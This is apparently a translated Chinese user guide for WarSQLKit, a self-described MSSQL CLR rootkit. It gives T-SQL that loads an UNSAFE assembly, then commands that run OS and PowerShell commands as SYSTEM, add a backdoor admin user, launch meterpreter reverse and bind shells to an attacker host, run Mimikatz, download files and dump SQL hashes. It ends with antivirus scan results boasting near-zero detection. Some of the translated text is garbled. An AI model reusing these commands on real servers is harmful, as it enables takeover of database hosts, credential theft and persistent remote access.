sp_configure 'clr enabled', 1 GO RECONFIGURE GO ALTER DATABASE master SET TRUSTWORTHY ON; IF (OBJECT_ID('sp_cmdExec') IS NOT NULL) DROP PROCEDURE sp_cmdExec GO IF EXISTS(SELECT * FROM sys.assemblies asmb WHERE asmb.name = N'sp_cmdExec') DROP ASSEMBLY [sp_cmdExec] GO CREATE ASSEMBLY sp_cmdExec FROM 'C:\ProgramData\WarSQLKit.dll' WITH PERMISSION_SET = UNSAFE GO CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec GO
通過此SQL語句,我們創建了一個名為sp_cmdExec的程序集和一個名為sp_cmdExec的存儲過程。

”EXEC sp_cmdExec'sp_help';” #通過運行該命令,我們可以看到如何使用WarSQLKit。讓我們看一下我們的命令。
“EXEC sp_cmdExec'whoami'; # 通過在操作系統中運行“ whoami”命令,它將向我們顯示SQL Server正在運行哪些權限。您可以運行任何命令來代替Whoami命令。我們的命令輸出如下。

“EXEC sp_cmdExec'whoami /RunSystemPriv';” # 如果在任何操作系統命令的末尾添Run / RunSystemPriv una參數,則將創建Kumpir.exe文件,並通過提升權限來運行我們的命令。可以從下圖中看到輸出的示例:

如您所見,當將/RunSystemPriv參數賦予whoami命令時,將創建kumpir.exe,並以用戶“ NT AUTHORITY\SYSTEM”的權限運行該命令。我將向您展示Windows命令的另一個示例,如下:
“EXEC sp_cmdExec'"net user sKyWiPer P@ssw0rd1 /add" /RunSystemPriv';” #使用此命令通過net user命令創建一個名為sKyWiPer的用戶,該用戶的密碼為P@ssw0rd1。我用雙引號包含了我的經典Windows命令,后跟/ RunSystemPriv參數。這將通過kumpir.exe並運行我在操作系統上雙引號之間包含的命令。

重要說明:WarSQLKit通過將所有非sp_ 命令評估為操作系統命令來嘗試執行命令。ozelsp_basinda是我在rootkit中定義的所有特殊參數中的第一個。
“EXEC sp_cmdExec'powershell Get-Acl /RunSystemPS';” 您可以通過WarSQLKit運行任何powershell代碼。當您在運行的powershell代碼的末尾添加“ /RunSystemPS una”參數時,將使用SYSTEM用戶的權限來執行powershell命令。在以下示例中,您可以看到Get-Acl poweshell命令的輸出。

“EXEC sp_cmdExec'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem';” 我們可以在WarSQLKit上運行meterpreter有效負載,目前支持4個meterpreter負載。“ Sp_meterpreter_reverse_tcp”向我們返回經典的“windows/meterpreter/reverse_tcp"有效負載。此有效負載需要LHOST和LPORT作為參數。在我們的Kali主機中,通過利用exploit/multi/handler將任何端口更改為列表模式后,我們可以通過WarSQLKit執行反向連接。在命令末尾添加“ GetSystem”參數以允許我們的有效負載以SYSTEM權限進行反向連接。我們的Meterpreter有效負載將通過Kumpir.exe執行,並為我們提供“ NT AUTHORITY\SYSTEM”的權限。如果需要,可以刪除GetSystem參數。如果沒有GetSystem參數,我們將獲得與SQL Server運行的權限的反向連接。示例代碼如下: “EXEC sp_cmdExec'sp_meterpreter_reverse_tcp 192.168.139.129 4444 GetSystem';”
注意:在Kali中將有效負載設置為“ exploit/multi/handler”之后,需要為WarSQLKit中可用的所有有效負載輸入“ set EXITFUNC none ”。如果不設置此值,則不會收到反向連接。
“EXEC sp_cmdExec'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem';” #使用此命令,您可以在x64架構的服務器上運行reverse_tcp有效負載。
“EXEC sp_cmdExec'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem';” # 使用此命令,您可以在SQL Server上運行RC4類型的meterpreter有效負載。
提示:對於 “windows/meterpreter/reverse_tcp_rc4”有效負載,需要設置“ set RC4PASSWORD warsql ”參數。RC4的密碼默認為ars warsql。我們目前無法更改此密碼。
“EXEC sp_cmdExec'sp_meterpreter_bind_tcp LPORT GetSystem';” #使用此命令,您可以在SQL Server上運行meterpreter bind_tcp有效負載。作為LPORT,您只需輸入要在SQL Server中打開的端口。
“EXEC sp_cmdExec'sp_Mimikatz';” # 使用sp_Mimikatz,可以在服務器上運行mimikatz的Powershell版本。在第11小節中,我更詳細地說明了這一點。運行sp_Mimikatz之后,mimikatz日志將平均保存30-60秒間隔輸入到mimi.log文件中。我們運行的命令如下

保存Mimikatz輸出后,我們需要運行“ select * from WarSQLKitTem ”命令。mimikatz輸出如下。

當我們將Mimikatz日志粘貼到任何note應用程序中時,我們將能夠以正確的格式查看它們。
“EXEC sp_cmdExec'sp_downloadFile URL Location\file.filetype 300';” #通過為sp_downloadFile提供URL,要保存的目錄和超時,我們可以將任何文件下載到SQL Server。我們的命令的示例輸出如下

“EXEC sp_cmdExec'sp_getSqlHash';” #使用sp_getSqlHash,我們可以獲取MS-SQL用戶的哈希。我們的命令輸出如下。

“EXEC sp_cmdExec'sp_getProduct';” #使用此命令,我們可以查看SQL Server上運行的操作系統。

“EXEC sp_cmdExec'sp_getDatabases';” # 使用此命令,您可以在SQL Server中檢索數據庫的名稱。
提示:WarSQLKit.dll Rootkit已通過測試,僅在以下系統上成功。除此之外,還沒有在任何系統上測試過。
我將使用WarSQLKit兼容版本重新編譯WarSQLi v3,並盡快發布。
| 作業系統 | SQL Server版 | 工作條件 |
| Windows Server 2016 | SQL Server 2016 | 運行平穩 |
| Windows Server 2012 R2 | SQL Server 2014 | 運行平穩 |
| Windows Server 2012 | SQL Server 2012 | 運行平穩 |
| Windows Server 2008 | SQL Server 2008 | 權限升級問題。我將使用Incognito編譯一個新版本。 |
WarSQLKitMinimal.dll(MSSQL Fileless Rootkit)用戶指南
在本節中,我將討論WarSQLKitMinimal版本。 WarSQLKitMinimal是僅運行參數“ EXEC sp_cmdExec'cmd';”的版本。此版本不具有處理任何以“ sp_..開頭”的命令的功能。這個6 KB的DLL允許您通過SQL Server將命令發送到操作系統。因此,只有操作系統才能執行命令
WarSQLKit.dll文件的掃描結果如下:
Jotti (0/18): https://virusscan.jotti.org/en-US/filescanjob/pfk61amqt4
No Distribute (0/34): https://nodistribute.com/result/3yf58I7hMdZAP6DB
Virus Total (0/62): https://www.virustotal.com/#/file/def95c032d1f1e441dfab2d99ce5de61481690eb9d72ffd5ed7c3e2f71b78309/detection
WarSQLKit_Compress.dll(Rootkit的壓縮文件)的掃描結果如下:
Jotti (0/18): https://virusscan.jotti.org/en-US/filescanjob/8s08ge3o0g
No Distribute (0/34): https://nodistribute.com/result/tbv1NjPLKf5ErXMxUOg7
Virus Total (1/62): https://www.virustotal.com/#/file/a176fd965e8e7c97dc7e263339c5a6d7c8a42a8c9416a730d3e2528d12c6fdfe/detection
0x14 參考文獻
https://technet.microsoft.com/en-US/library/ms187861(v=sql.110).aspx
https://autohotkey.com/mpress/mpress_web.htm
https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/clr-integration-enabling
https://blog.sqlauthority.com/2008/03/14/sql-server-2005-clr/
https://docs.microsoft.com/tr-tr/sql/t-sql/statements/alter-assembly-transact-sql
https://msdn.microsoft.com/library/bbdd51b2-a9b4-4916-ba6f-7957ac6c3f33
https://stackoverflow.com/questions/2055788/sql-server-2005-create-assembly-from-stream-with-c-sharp
